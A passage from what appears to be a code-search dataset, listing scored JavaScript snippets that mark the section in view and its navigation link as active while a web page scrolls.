section.classList.add('activeclass');\n sectionLink.classList.add('current');\n } else if (window.pageYOffset >= sectionBehind || window.pageYOffset < section.offsetTop) {\n section.classList.remove('activeclass');\n sectionLink.classList.remove('current');\n }\n })\n}", "title": "" }, { "docid": "2081a2e3fcb5ae578290969baea7f404", "score": "0.6576629", "text": "function setActiveSection(){\n allSections.forEach(function(section){\n let getSecPos = section.getBoundingClientRect(); /* get the section position while looping */\n if (getSecPos.top>=0 && getSecPos.top <=100){ /* determine if the section in the view area by Comparing the section position and screen dimensions */\n section.classList.add('your-active-class'); /* add class active to the target section */\n setActiveNavLink(section); /* invoke a function to set the link is active*/\n }else{\n section.classList.remove('your-active-class') /* remove active class from the section */\n } \n })\n }", "title": "" }, { "docid": "15ee183a41c522dc2b4c109b27c7cd0c", "score": "0.644084", "text": "function activateVisibleSection() {\n // Find distances from the top of the sections to the top of the viewport\n let offsetDifferences = [];\n\n for (sectionNode of sectionNodes) {\n if (sectionNode.classList.contains('active')) {\n sectionNode.classList.remove('active');\n }\n\n offsetDifferences.push(Math.abs(sectionNode.offsetTop - window.pageYOffset));\n }\n\n const min = Math.min(...offsetDifferences);\n\n // Find a section with a lowest distance and set it as active\n for (sectionNode of sectionNodes) {\n if (min === Math.abs(sectionNode.offsetTop - window.pageYOffset)) {\n setActiveSection(sectionNode);\n }\n }\n}", "title": "" }, { "docid": "27c4f375da23d3ff2072e27a88b94c9f", "score": "0.63776606", "text": "function activateCurrentSection() {\n var id; // init the id of the element that will be activated\n\n // get all sections\n var sections = $('.section');\n\n // store current position on the page when scroll is triggered\n var pos = $(document).scrollTop();\n\n /*\n * Exception: if last section is <100% of the screen height\n * make it active when 50% of it is visible.\n * Otherwise the last section would never activate.\n */\n var lastSection = sections[sections.length-1]; // get last section\n var lastSectionTooSmall = $(lastSection).height() < $(window).height();\n\n if (lastSectionTooSmall) {\n var lastSectionTopPos = $(lastSection).offset().top;\n // lastSectionTriggerPos is true if 50% of the last section is visible\n var lastSectionTriggerPos = $(window).height() + $(document).scrollTop() - ($(lastSection).height()/2);\n var lastSectionInView = lastSectionTriggerPos > lastSectionTopPos;\n }\n\n if (lastSectionTooSmall && lastSectionInView) {\n id = $(lastSection).attr('id');\n } else { // else last section is >= 100% of the view check all sections to find the top one\n sections.each(function() {\n var top = $(this).offset().top - navHeight; // get the top & bottom position of the section\n var bottom = top + $(this).outerHeight();\n\n /*\n * if the current position is higher (deeper on the page) than the top of the section\n * and it is smaller (heiger on the page) than the bottom of the section\n * it is the active section.\n */\n if (pos >= top && pos <= bottom) {\n id = $(this).attr('id'); // store the id of this section\n }\n });\n }\n\n /*\n if an id was set before, activate the section in the nav\n */\n if (id) {\n nav.find('a').removeClass('active');\n nav.find('a[href=\"#' + id + '\"]').addClass('active');\n }\n}", "title": "" }, { "docid": "948f4163f6b539cb89680c1e4760779c", "score": "0.63769567", "text": "function addActive() {\n var scrollPos = $(window).scrollTop();\n $('.section').each(function(){\n var top = $(this).offset().top - nav_height,\n bottom = top + $(this).outerHeight();\n if (scrollPos >= top && scrollPos <= bottom) {\n nav.find('a').removeClass('active');\n nav.find('a[href=\"#'+ $(this).attr('id') + '\"]').addClass('active');\n\t\t //nav.find('a').parent().removeClass('active2');\n\t\t\tif( $(this).next('.submenu').is(':hidden')){\n\t\t\tnav.find('a[href=\"#'+ $(this).attr('id') + '\"]').parent().addClass('active2');\n\t\t\t//alert();\n\t\t\t}\n }\n else if (scrollPos + window_height == doc_height) {\n if (!$('#nav a:last').hasClass('active')) {\n nav.find('a').removeClass('active');\n nav.find('a:last').addClass('active');\t\t \n }\n }\n });\n }", "title": "" }, { "docid": "884316ac32344e4107327f194bee016e", "score": "0.63720113", "text": "function activeSection() {\n window.addEventListener('scroll', function () {\n let index = sections.length;\n while (--index && window.scrollY + 50 < sections[index].offsetTop) {}\n removeActive(document.querySelectorAll('section.active'));\n setActive(sections[index]);\n });\n}", "title": "" }, { "docid": "97e1ebf4855673176d929436a208a4c1", "score": "0.63711244", "text": "function activeSection() {\n // Adding an event listener in the case of scrolling any where in the document\n document.addEventListener('scroll', function () {\n\n // The for each loops over the sections list\n sections.forEach(function (section) {\n const position = section.getBoundingClientRect(); // Method providing information about the size of an element and its position relative to the viewport. \n\n /*\n The condition to check if the current section is in viewport or not.\n If it's in the view port it will add a class to the class list of current section to edit it's style, \n else it will remove this class from the class list. \n */\n if ((position.top >= 0 && position.top <= 300)) {\n section.classList.add(\"your-active-class\");\n } else {\n section.classList.remove(\"your-active-class\");\n }\n })\n })\n}", "title": "" }, { "docid": "34e559129cdee89492288764e05113b6", "score": "0.63590246", "text": "function setActive() {\n window.addEventListener('scroll', function () {\n for (const section of sections) {\n const activeLink = document.querySelector(`[data-link=\"${section.dataset.nav}\"]`)\n if (isInViewport(section)) {\n addActive(section);\n addActive(activeLink);\n } else {\n removeActive(section);\n removeActive(activeLink);\n }\n }\n });\n}", "title": "" }, { "docid": "a6976508902567706c9a6fbb7fb009eb", "score": "0.6357008", "text": "function scrollActive() {\n\tlet sections = $('.section')\n\tlet nav = $('.main')\n\tlet navHeight = nav.innerHeight()\n\n\t$(window).scroll(function () {\n\t\tlet cur_pos = $(this).scrollTop()\n\t\tsections.filter(function () {\n\t\t\tlet top = $(this).offset().top - navHeight\n\t\t\tif (cur_pos >= top) {\n\t\t\t\tnav.find('a').removeClass('active')\n\t\t\t\tnav.find('a[href=\"#' + $(this).attr('id') + '\"]').addClass('active')\n\t\t\t}\n\t\t})\n\t})\n}", "title": "" }, { "docid": "c153bdbe03130a0130de86b3fac98b37", "score": "0.63525504", "text": "function articlesActiveSection() {\n const articles = document.getElementById(\"articles\");\n const navArticles = document.getElementById(\"nav-articles\");\n const headerHeight = document.getElementById(\"header\").offsetHeight;\n const articlesTop = articles.offsetTop - headerHeight;\n const articlesBottom = (articles.offsetTop + articles.offsetHeight) - headerHeight;\n if (window.scrollY >= articlesTop && window.scrollY < articlesBottom) {\n navArticles.className = \"nav-highlighted\";\n } else {\n navArticles.className = \"nav-default\";\n }\n}", "title": "" }, { "docid": "870b4cf8758a48418ea6789670387428", "score": "0.63248676", "text": "function scrollActive() {\n const sections = document.querySelectorAll('section[id]');\n const scrollY = window.pageYOffset;\n sections.forEach((current)=>{\n const sectionHeight = current.offsetHeight;\n const sectionTop = current.offsetTop - 50;\n sectionId = current.getAttribute('id');\n if (scrollY > sectionTop && scrollY <= sectionTop + sectionHeight) document.querySelector(' a[href*=' + sectionId + ']').classList.add('active-link');\n else document.querySelector(' a[href*=' + sectionId + ']').classList.remove('active-link');\n });\n}", "title": "" }, { "docid": "9140deafcf3561e70542e69cb6bfc8f6", "score": "0.63222444", "text": "function activateSection(){\n for(const section of sections){\n const focused = onSpot(section.firstElementChild);\n setActive(section, focused);\n if(focused){\n const menu_link = document.querySelector(`#${section.getAttribute('id')}_link`);\n activateMenuLink(menu_link);\n }\n }\n}", "title": "" }, { "docid": "4057c03b3b8e01d0970cb36c31c0210b", "score": "0.6309647", "text": "function add_active_class(){\n //detect section\n const sections = document.querySelectorAll('section');\n let cur_active_section_index = -1;\n let prev_active_section_index = -1;\n for(let i = 0; i < sections.length ; i++){\n if( sections[i].className == 'your-active-class'){\n prev_active_section_index = i;\n break;\n }\n }\n //detect the current actual active section\n for(let i = 0; i <sections.length; i++){\n let y = sections[i].getBoundingClientRect().y;\n if(y< ACTIVE_TOP_COORD_PERCENT*window.innerHeight && y >0){\n //console.log(sections[i].id , sections[i].getBoundingClientRect().y);\n cur_active_section_index = i;\n break;\n }\n prev_active_section_index \n }\n if(cur_active_section_index == -1){\n cur_active_section_index = prev_active_section_index;\n }\n\n //remove active from previous section \n sections[prev_active_section_index].classList.remove('your-active-class');\n //add active to current section\n sections[cur_active_section_index].classList.add('your-active-class');\n}", "title": "" }, { "docid": "c91283f05f14fb23682ffe80e7817863", "score": "0.63065743", "text": "function setActiveState() {\n //document.getElementById(\"main\");\n\t\tdocument.querySelector(\"#main>section\").classList.remove(\"active\");\n if(location.hash == \"\"){\n location.hash = \"home\"\n }\n\t\tdocument.querySelector(location.hash).classList.add(\"active\");\n\t}", "title": "" }, { "docid": "261735a8537de989e79be6a67edb69b5", "score": "0.6233795", "text": "function setActive() {\n const allSections = document.querySelectorAll(\"section\");\n allSections.forEach(element => {\n if (element.classList.contains(\"your-active-class\")) {\n element.classList.remove(\"your-active-class\");\n }\n });\n for (let i = 0; i < allSections.length; i++) {\n let isActive = isViewed(document.querySelectorAll(\"section\")[i]);\n if (isActive === true) {\n // console.log(i + 1);\n let activeSection = document.getElementById(\"section\" + (i + 1));\n activeSection.setAttribute(\"class\", \"your-active-class\");\n return;\n }\n }\n}", "title": "" }, { "docid": "1a1b7fc2db14fa8c42f055907906da68", "score": "0.62139016", "text": "function activeLinksScroll(){\n\tconst linksInternos = document.querySelectorAll(\".js-menu a[href^='#']\");\n\n\tfunction scrollToSection(event){\n\t\tevent.preventDefault(); //Prevenindo o padrão\n\t\tconst href = event.currentTarget.getAttribute('href'); //Pegando o HREF do link \n\t\tconst section = document.querySelector(href); //Ligando o HREF acima do link com a sessão especifica dele\t\n\n\t\t//window.scrollTo(0, topo); - Para mover nos eixos x e y respectivamente\n\t\t\n\t\t//Uma das formas de se fazer\n\t\t//const topo = section.offsetTop; //Leva o link selecionado para o topo da sessão dele\n\t\t// window.scrollTo({\n\t\t\t// top: topo,\n\t\t\t// behavior: 'smooth', //Behavior = Comportamento e Smooth= Suave\n\t\t// });\n\t\t\n\t\t//Outra forma de se fazer\n\t\tsection.scrollIntoView({ //Método que liga o link com a sessão dele\n\t\t\tbehavior: 'smooth',\n\t\t\tblock: 'start',\n\t\t}); \n\t}\n\n\t\tlinksInternos.forEach((item) => {\n\t\t\titem.addEventListener('click', scrollToSection);\n\t\t});\n}", "title": "" }, { "docid": "e77e9e0f8ee393047e98bcc9a1d24273", "score": "0.62137115", "text": "function addActiveSection(){\n removeActivelink();\n sections.forEach (function(section){ \n if (isInViewport(section)){\n section.classList.add(\"your-active-class\"); \n activeLink(section);\n } else {\n section.classList.remove(\"your-active-class\");\n } \n })\n \n\n function activeLink(section) {\n const a = document.querySelectorAll('.menu__link');\n a.forEach(function (link) {\n if (section.getAttribute('data-nav') == link.textContent) {\n link.classList.add(\"active\");\n\n } else {\n link.classList.remove(\"active\");\n }\n });\n }\n}", "title": "" }, { "docid": "95f6d72a18a5b053776944a284e052cf", "score": "0.620162", "text": "function makeActive() {\n let activeSection = null;\n\n //the sections are scrolling with in the container. Check the sections's relation\n //with the container to figure out which section should be active\n Sections.forEach(sectionInfo => {\n const container = document.getElementById('sectionContainer');\n var cTop = container.scrollTop;\n var cBottom = cTop + container.clientHeight;\n const containerRect = container.getBoundingClientRect();\n\n const section = document.getElementById(`${sectionInfo.Id}`);\n const sectionRect = section.getBoundingClientRect();\n var eTop = section.offsetTop;\n var eBottom = eTop + section.clientHeight;\n\n const verticalInView = (eBottom <= cBottom);\n if (verticalInView) {\n activeSection = sectionInfo.Id;\n }\n });\n\n if (activeSection !== null) {\n Sections.forEach(sectionInfo => {\n if (sectionInfo.Id == activeSection) {\n if (!sectionInfo.active) {\n sectionInfo.active = true;\n\n const section = document.getElementById(`${sectionInfo.Id}`);\n section.classList.add(\"your-active-class\");\n\n //Hide the header when the first section is active\n const header = document.getElementsByClassName('page__header');\n if (sectionInfo.data === 'Section 1') {\n header[0].style.display = 'none';\n }\n else {\n header[0].style.display = 'block';\n //Highlight the active section nav menu item\n const menuItem = document.getElementsByName(`${sectionInfo.Id}`);\n if (menuItem !== null) {\n menuItem[0].style.border = \"thick solid #CCC\";\n }\n }\n }\n }\n else {\n const section = document.getElementById(`${sectionInfo.Id}`);\n if (sectionInfo.active) {\n section.classList.remove(\"your-active-class\");\n }\n\n //Unhighlight non-active nav menu item\n const menuItem = document.getElementsByName(`${sectionInfo.Id}`);\n if (menuItem !== null) {\n menuItem[0].style.border = \"none\";\n }\n\n sectionInfo.active = false;\n }\n });\n }\n}", "title": "" }, { "docid": "5b8cac1eec5a15c54596aea81e591c30", "score": "0.61687934", "text": "function scrollActive(){\n //GET VIEPORT VERTICAL POSITION\n const scrollY = window.pageYOffset;\n\n sections.forEach(current =>{\n const sectionHeight = current.offsetHeight\n const sectionTop = current.offsetTop - 50;\n let sectionId= current.getAttribute('id')\n\n // console.log(sectionId);\n\n if(scrollY>sectionTop && scrollY <= sectionTop +sectionHeight){\n document.querySelector('.nav__menu a[href*=' + sectionId + ']').classList.add('active')\n }else{\n document.querySelector('.nav__menu a[href*=' + sectionId + ']').classList.remove('active')\n }\n // console.log(sectionTop);\n })\n}", "title": "" }, { "docid": "54e3d4002abf4e9ba6efcbc8353adc88", "score": "0.61426103", "text": "function handelActiveSections() {\n window.addEventListener('scroll', function () {\n for (let i = 0; i < sections.length; i++) {\n if (isInViewPort(sections[i])) {\n removeSectionActiveClass();\n sections[i].classList.add('your-active-class');\n }\n }\n });\n}", "title": "" }, { "docid": "9147dd112a4d3117589317b1e6d0f5de", "score": "0.6138466", "text": "function aboutActiveSection() {\n const about = document.getElementById(\"about\");\n const navAbout = document.getElementById(\"nav-about\");\n const headerHeight = document.getElementById(\"header\").offsetHeight;\n const aboutTop = about.offsetTop - headerHeight;\n const aboutBottom = (about.offsetTop + about.offsetHeight) - headerHeight;\n if (window.scrollY >= aboutTop && window.scrollY < aboutBottom) {\n navAbout.className = \"nav-highlighted\";\n } else {\n navAbout.className = \"nav-default\";\n }\n}", "title": "" }, { "docid": "9bee247d89d689669512abcd950bd2f6", "score": "0.6132284", "text": "function initScrollSuave(){\n const linksInternos = document.querySelectorAll('.js-menu a[href^=\"#\"]');\n\n function scrollToSection(event){\n event.preventDefault();\n const href = event.currentTarget.getAttribute('href');\n const section = document.querySelector(href);\n\n section.scrollIntoView({\n behavior: 'smooth',\n block: 'start',\n });\n /* Forma alternativa que utiliza funcao nativa do js mas ainda nao e 100% em outros browsers assim como o scrollIntoView*/\n /*\n const topo = section.offsetTop;\n window.scrollTo({\n top: topo,\n behavior: \"smooth\",\n });\n */\n }\n linksInternos.forEach((link) => {\n link.addEventListener('click', scrollToSection);\n });\n}", "title": "" }, { "docid": "2b45c0f65dd81810797bd66b4642c237", "score": "0.61202425", "text": "function all() {\n for (section of allSection) {\n //make a varaible to store sections id \n let activeLink = navbar.querySelector(`[data-nav=${section.id}]`);\n \n //Page Position\n const topValue = section.getBoundingClientRect().top;\n if(topValue >= 0 && topValue <= 300){\n activeLink.classList.add(\"active__nav\");\n } else{\n activeLink.classList.remove(\"active__nav\");\n }\n }\n}", "title": "" }, { "docid": "b880aeeb298297c9ef0e2e4280329ba4", "score": "0.61192733", "text": "function addActive(){\n window.addEventListener(\"scroll\", function() {\n const lists = document.getElementsByClassName('menu__link');\n for(let i=0; i< sections.length; i++){\n //getBoundingClientRect returns the size of the element and its position relative to the viewport.\n boundRect = sections[i].getBoundingClientRect();\n //if condition to assure that the top position is within the section size and hasn't gone to another section.\n if(boundRect.top <= 300 && boundRect.top >= 0){\n //change background color of section container.\n sections[i].style.background=color[i];\n //change background color of section link.\n lists[i].style.background = color[i];\n sections[i].classList.add(\"your-active-class\");\n lists[i].classList.add(\"active\");\n }\n else{\n //inherit the same gradient background color of the parent (body).\n sections[i].style.background=\"inherit\";\n lists[i].style.background = \"inherit\";\n sections[i].classList.remove(\"your-active-class\");\n lists[i].classList.remove(\"active\");\n }\n }\n });\n}", "title": "" }, { "docid": "bc314d57054d7f2edb808f190ee3db61", "score": "0.61177313", "text": "function active(){\r\n sections.forEach(sect => {\r\n const idSect = sect.getAttribute('id');\r\n if(checkview(sect) === true){\r\n activeClassRemover();\r\n activeClassAdder(idSect);\r\n }\r\n });\r\n}", "title": "" }, { "docid": "1380f218a0b88367d3bc372b6ce69e05", "score": "0.6116831", "text": "function positionAndScrollToProductFinder() {\n const mainContainer = document.querySelector('.main-homepage'),\n siteHeaderBounding = siteHeader.getBoundingClientRect(),\n currentSectionInView = homeSectionInView,\n currentSectionInViewBounding = currentSectionInView.getBoundingClientRect();\n\n let scrollOffset = (currentSectionInView.offsetTop + currentSectionInViewBounding.height) - siteHeaderBounding.height;\n if (currentSectionInView !== null) {\n mainContainer.insertBefore(productFinderSection, currentSectionInView.nextSibling);\n\n if (scrollOffset === window.scrollY) {\n toggleProductFinderActive();\n } else {\n $('html').animate({ scrollTop: scrollOffset }, 500, function () {\n toggleProductFinderActive();\n });\n }\n }\n }", "title": "" }, { "docid": "2941e2d041654829e12babc923aec4ee", "score": "0.60874313", "text": "function switchActiveClass() {\n //iterate for every section to apply my logic\n sections.forEach((section) => {\n //check if the section is in the view\n if (getSectionTopEdge(section)) {\n //check if it does'nt contain 'class style' -> 'your-active-class'\n if (!section.classList.contains('your-active-class')) {\n //then add the 'class style' -> 'your-active-class'\n addActiveClass(section);\n } else {\n //this mean is not in the view\n //so remove the class style\n removeActiveClass(section)\n }\n }\n });\n}", "title": "" }, { "docid": "b60b5ff1f5d271a261c8bfe7fef8dd03", "score": "0.60685474", "text": "function Main(){\n // Build menu \n menu = findAllPresentSections(tagsToBeSelected);\n menuNavItems = navBuild(menu);\n // Scroll to section on link click\n menuDiv = document.querySelectorAll(\"nav\");\n menuDiv[0].addEventListener('click',scrollToSection);\n // Set sections as active\n document.addEventListener('scroll', checkSectionView);\n}", "title": "" }, { "docid": "bb82edad62fa89a0780afa7e422da8f2", "score": "0.60641444", "text": "function setActive() {\n window.addEventListener(\"scroll\", (e) => {\n e.preventDefault();\n // set Active Section\n setActiveSection();\n // set other sections as inactive\n removeInactiveSections();\n // header style\n headerStyle();\n });\n}", "title": "" }, { "docid": "366597dbd57b9cc2ed6f7807e0fe1075", "score": "0.6062185", "text": "function socialActiveSection() {\n const social = document.getElementById(\"social\");\n const navSocial = document.getElementById(\"nav-social\");\n const headerHeight = document.getElementById(\"header\").offsetHeight;\n const socialTop = social.offsetTop - headerHeight;\n const socialBottom = (social.offsetTop + social.offsetHeight) - headerHeight;\n if (window.scrollY >= socialTop && window.scrollY < socialBottom) {\n navSocial.className = \"nav-highlighted\";\n } else {\n navSocial.className = \"nav-default\";\n }\n}", "title": "" }, { "docid": "a7ccc147b5dc8e8ae67df609e6a79e3f", "score": "0.6061746", "text": "function toggleActiveState() {\n // get all anchor in here \n const links = document.querySelectorAll(\".menu__link\");\n mySections.forEach((section, index) => {\n let rationPointOfView = window.innerHeight * 0.4;\n // ? check scrolling to target section \n if (section.getBoundingClientRect().top < rationPointOfView && section.getBoundingClientRect().bottom > rationPointOfView) {\n // ?check section has class active and add\n if (!section.classList.contains(\"your-active-class\")) {\n // adding active class to section\n section.classList.add(\"your-active-class\");\n // adding active class to anchor \n links[index].classList.add(\"activeLink\");\n }\n // ? ./check section has class active and add\n } else if (section.classList.contains(\"your-active-class\")) {\n // remove active class from section\n section.classList.remove(\"your-active-class\");\n // remove active class from anchor\n links[index].classList.remove(\"activeLink\");\n }\n // ?./ check scrolling to target section \n });\n}", "title": "" }, { "docid": "446a7e72d98a98b841aa60fee19eff95", "score": "0.6048691", "text": "function ActiveSection() {\n for (let i = 0; i < navMenu.children.length; i++) {\n navMenu.children[i].addEventListener(\"click\", function (e) {\n window.scrollTo({\n top: sections[i].offsetTop,\n behavior: \"smooth\",\n });\n closeMenu(navMenu.children[i]);\n e.preventDefault();\n });\n }\n}", "title": "" }, { "docid": "f0f0fd8cd8a8b70dee57119231e2ba82", "score": "0.6045084", "text": "function active() {\n window.addEventListener('scroll', function () {\n let section = getActiveSection();\n section.classList.add('your-active-class');\n // remove active from other section\n for (let i of sections) {\n if (i.id != section.id && i.classList.contains('your-active-class')) {\n i.classList.remove('your-active-class');\n }\n }\n });\n}", "title": "" }, { "docid": "a6f8fa3bd0e5e56d21aec7fabca77f9c", "score": "0.60413855", "text": "function setActiveSection() {\n activeSectionID = getActiveSectionID();\n const navigationLinks = navigationMenu.querySelectorAll('li a');\n addActiveClass(sections, 'id', activeSectionID);\n addActiveClass(navigationLinks, 'href', activeSectionID);\n}", "title": "" }, { "docid": "837bbce6a4ea8ca972e2f66a8fd057ee", "score": "0.6024117", "text": "function setActive() {\n window.addEventListener('scroll',function(event) {\n for (let i = 1; i <= sections.length; i++) {\n let section = document.getElementById(`section${i}`);\n const itemId= document.getElementById(`nav-section${i}`);\n if (\n section.getBoundingClientRect().top >= 0 &&\n section.getBoundingClientRect().left >= 0 &&\n section.getBoundingClientRect().bottom <=\n (window.innerHeight || document.documentElement.clientHeight) &&\n section.getBoundingClientRect().right <=\n (window.innerWidth || document.documentElement.clientWidth)\n ) \n {\n itemId.classList.add(activeclass);\n section.classList.add(activeclass);\n \n } else{\n itemId.classList.remove(activeclass);\n section.classList.remove(activeclass);\n }\n }\n\n \n });\n}", "title": "" }, { "docid": "0e225ceecd0499928e8031288032f174", "score": "0.6023609", "text": "function start() {\n let portal = document.querySelectorAll(\"section\");\n for (let i = 0; i < portal.length; i++) {\n if (portal[i].classList.contains(\"hidden\")) {\n portal[i].classList.toggle(\"hidden\");\n } else {\n portal[i].classList.add(\"hidden\");\n }\n }\n let body = document.querySelector(\"body\");\n body.classList.add(\"home\");\n }", "title": "" }, { "docid": "4a99f80aa47e63ed0d5d4b9ba5cb79d9", "score": "0.601841", "text": "function selectActive() {\n // Make the correct page active\n Array.from(componentButtons)\n .forEach((button) =>\n location.hash.slice(1) === button.id ? button.classList.add(\"slds-is-active\") : button.classList.remove(\"slds-is-active\")\n )\n\n // TODO: Show only the correct *part* of the page\n // Need separate array for just .standard-page component <div>s\n Array.from(componentPages)\n .forEach((page) =>\n location.hash.slice(1) === page.id ? (\n\t\t\t\tpage.classList.remove('slds-hide')\n ) : (\n page.classList.add('slds-hide')\n )\n\t)\n\n\t// If you load just '/components/', set it to a page pls\n\t// location.hash.slice(1) === \"\" ? (\n\t// \tconsole.log('nothing'),\n\t// \t// window.location.hash = '#' + '{{ shared.components[0].id }}'\n\t// \tArray.from(componentPages)[0].classList.remove('slds-hide'),\n\t// \tArray.from(componentButtons)[0].classList.add(\"slds-is-active\")\n\t// ) : (\n\t// \tconsole.log('something')\n\t// )\n\t\n\tArray.from(componentIframes)\n\t\t.forEach((frame) =>\n\t\t\tresizeIframe(frame)\n\t)\n}", "title": "" }, { "docid": "7e47a2aae0cabcbd4c943b292ad01f31", "score": "0.60180694", "text": "function setActiveClass(){\n for(const section of sections){\n if (isInViewport(section))\n section.classList.add('your-active-class');\n else\n section.classList.remove('your-active-class');\n }\n}", "title": "" }, { "docid": "4bfe11ec50876ca0f4960925b61c6a8e", "score": "0.6008761", "text": "function scrollToSection() {\n\n // Variable to hold all the list items with the class active\n const activeLinks = document.getElementsByClassName(\"active\");\n \n // Adding an event listener in the case of clicking in the navigation bar\n navBar.addEventListener('click', function (e) {\n // The for each loops over the sections list\n sections.forEach(function (section) { \n const targetSection = document.getElementById(e.target.getAttribute('data-id')) // Gets the id of the section that it's link has been clicked\n targetSection.scrollIntoView({ behavior: \"smooth\" }) // Method scrolls to the section that it's link has been clicked \n })\n \n // Checking if there is more than 1 item have the class name active, it will replace the class name of the previous clicked link to empty\n if(activeLinks.length > 0){\n activeLinks[0].classList.remove('active');\n }\n // Add class active to class name of the current item\n e.target.classList.add('active');\n })\n}", "title": "" }, { "docid": "1bffd0aab3cefe7b3fcae141e0ecc4e6", "score": "0.6005207", "text": "function activeSection () {\n for (const section of sections) {\n const sectionPos = section.getBoundingClientRect();\n\n if (sectionPos.top <= 150 && sectionPos.bottom >= 150) {\n section.classList.add('your-active-class');\n } else {\n \n section.classList.remove('your-active-class');\n }\n }\n}", "title": "" }, { "docid": "b0f64755298fd935ae5a8c3a2b2259f2", "score": "0.5999556", "text": "function scrollTosectionLinkClick (eve) { \n \n\n if (eve.target.matches('a.menu__link')){\n // target anchore elemnt \n let an = eve.target\n // meddiquery to apply resposive web for moblie phone \n let meddiquery =window.matchMedia('(max-width:35rem)');\n if(meddiquery.matches){\n list_hombruge1.style.display='none';}\n\n eve.preventDefault();\n console.log(an)\n console.log('ancclicked'+ an.innerHTML )\n // let d = an.getAttribute(\"dataset.nav\");\n // console.log(d+'h')\n for(let section of secctions){\n\n if(section.dataset.nav == an.innerHTML){\n section.scrollIntoView({block:\"start\" , behavior:\"smooth\"})\n section.classList.add('your-active-class')\n // x= section.getBoundingClientRect().x\n // y= section.getBoundingClientRect().y\n // console.log(x)\n // console.log(y)\n // window.scrollTo({top:section.getBoundingClientRect().y,\n // left:section.getBoundingClientRect().x,\n // behavior: \"smooth\"\n // });\n \n } \n else { section.classList.remove('your-active-class') }\n\n \n \n }\n \n\n\n\n }\n \n\n\n }", "title": "" }, { "docid": "0c1bb6c80cf0b50afc88ea05829e5e30", "score": "0.59930974", "text": "function addActive() {\n \tvar scrollPos = win.scrollTop();\n \tjQuery('#main > *').each(function(){\n \t\tvar delta = navHeight,\n \t\t\tsection = jQuery(this),\n \t\t\ttop = section.offset().top - delta - offset - 1,\n\t \tbottom = top + section.outerHeight();\n \t\tif (scrollPos >= top && scrollPos <= bottom) {\n \t\t\tif(navLinks.find('a[href=\"#'+ jQuery(this).attr('id') + '\"]').length) {\n\t \t\tnavLinks.find('li').removeClass('active');\n \t\t\tnavLinks.find('a[href=\"#'+ jQuery(this).attr('id') + '\"]').closest('li').addClass('active');\n \t\t\t}\n \t\t}\n \t\telse if (scrollPos + window_height == doc_height) {\n\t \tif (!jQuery('.add-nav li:last').hasClass('active')) {\n \t\t\tnavLinks.find('li').removeClass('active');\n \t\t\tnavLinks.find('li:last').addClass('active');\n \t\t}\n \t\t}\n \t});\n \t}", "title": "" }, { "docid": "63db239097dc5c4da5c322aa5268df2d", "score": "0.59922224", "text": "function activate(ids) {\n document.querySelectorAll(\"section\").forEach(e => {\n if (ids.includes(e.id)) {\n e.className = \"active\";\n } else {\n e.className = \"\";\n }\n });\n if (ids[0] !== \"login\") {\n window.location.hash = ids[0];\n }\n}", "title": "" }, { "docid": "31f7db10d5ef92d9210dd842b386c0b5", "score": "0.5991128", "text": "function styleView (){\n window.addEventListener(\"scroll\",()=>{\n sections.forEach((sec)=>{\n const viewDisp = sec.getBoundingClientRect();\n if (viewDisp.top > 0 && viewDisp.top < 300){\n sections.forEach((activeSec)=>{\n activeSec.classList.remove(\"your-active-class\");\n });\n sec.classList.add(\"your-active-class\");\n };\n });\n });\n}", "title": "" }, { "docid": "878939cc7e7933fc0f5c23863140a2d6", "score": "0.59886557", "text": "function sectionactivation()\n {\n elements.forEach((element)=>\n {\n const offset=Math.floor(element.getBoundingClientRect().top);\n inViewport=(offset<150) && (offset>=-150)\n element.classList.remove('your-active-class');\n \n \n if(inViewport)\n {\n element.classList.add('your-active-class');\n }\n\n });\n}", "title": "" }, { "docid": "9a02db27f439537c5234bcb8241cd3e2", "score": "0.5983316", "text": "mainNavControl() {\n const newPageSlugs = h.getAfterHash(this.href),\n post = model.getPostBySlugs(newPageSlugs);\n view.currentPost = post;\n view.update();\n }", "title": "" }, { "docid": "ffd8ccedd1a4c2d545d9a10d3d0d34b9", "score": "0.5982411", "text": "function setActive() {\n for (const section of sections) {\n\n const elem = section.getBoundingClientRect();\n if (\n elem.top <= 350 && elem.bottom >= 350\n ) {\n const id = section.getAttribute('id');\n document.querySelector('.' + id).classList.add('active');\n section.classList.add('active-class');\n\n } else {\n const id = section.getAttribute('id');\n document.querySelector('.' + id).classList.remove('active');\n section.classList.remove('active-class');\n }\n }\n}", "title": "" }, { "docid": "4af6e5e03ee262956fc92ff3df15e90f", "score": "0.5982156", "text": "function currentLink() {\n $('section').each(function(){\n sectionTop = $(this).offset().top - 500;\n sectionBottom = sectionTop + $(this).outerHeight();\n if (scrollNow > sectionTop && scrollNow < sectionBottom ) {\n $(this).find('.animate').removeClass('animate');\n currentData = $(this).data('block');\n $('.menu__link').each(function(){\n $(this).removeClass('_active');\n if ($(this).data('block') == currentData) {\n $(this).addClass('_active');\n }\n });\n }\n });\n}", "title": "" }, { "docid": "230467b54f385912b2ea6df00b74675b", "score": "0.59641474", "text": "function updateActiveSection() {\n const sections = document.querySelectorAll('section')\n\n for (const section of sections) {\n let { top, bottom } = section.getBoundingClientRect()\n // get li element by each section\n let query = '#' + section.getAttribute('id') + '-li'\n let sectionLink = document.querySelector(query)\n\n try {\n // update section state to active or inactive\n if (top <= 200 && bottom > 300) {\n section.classList.add(\"your-active-class\")\n sectionLink.classList.add('menu__link-active')\n } else {\n section.classList.remove(\"your-active-class\")\n sectionLink.classList.remove('menu__link-active')\n }\n } catch (error) {\n\n }\n\n }\n}", "title": "" }, { "docid": "f1a152d9f6d3409385188d6514f6c3af", "score": "0.5961041", "text": "function setSectionAsActive() {\n window.addEventListener(\"scroll\", function() {\n\n //resetting all the active sections whenever the window is scrolled.\n\n resetAllActiveSections();\n\n let y_scroll_pos = Math.round(window.pageYOffset);\n let isActive = false;\n let iter = 0;\n\n //For directly scrolling through the Nav Bar\n\n for (section of sections) {\n sectionOffsets[iter++] = section.offsetTop\n if (y_scroll_pos == section.offsetTop || y_scroll_pos + 1 == section.offsetTop || y_scroll_pos - 1 == section.offsetTop) {\n section.setAttribute(\"class\", \"your-active-class section\");\n activeSection = section.id;\n setActiveNavElements();\n isActive = true;\n break;\n }\n }\n\n //For scrolling manually\n\n if (!isActive) {\n for (iter = 0; iter < sectionOffsets.length - 1; iter++) {\n if (y_scroll_pos > sectionOffsets[iter] && y_scroll_pos < sectionOffsets[iter + 1]) {\n document.getElementById(`section${iter + 1}`).setAttribute(\"class\", \"your-active-class section\");\n activeSection = document.getElementById(`section${iter + 1}`).id;\n setActiveNavElements();\n isActive = true;\n }\n }\n if (!isActive && y_scroll_pos < sectionOffsets[0]) {\n 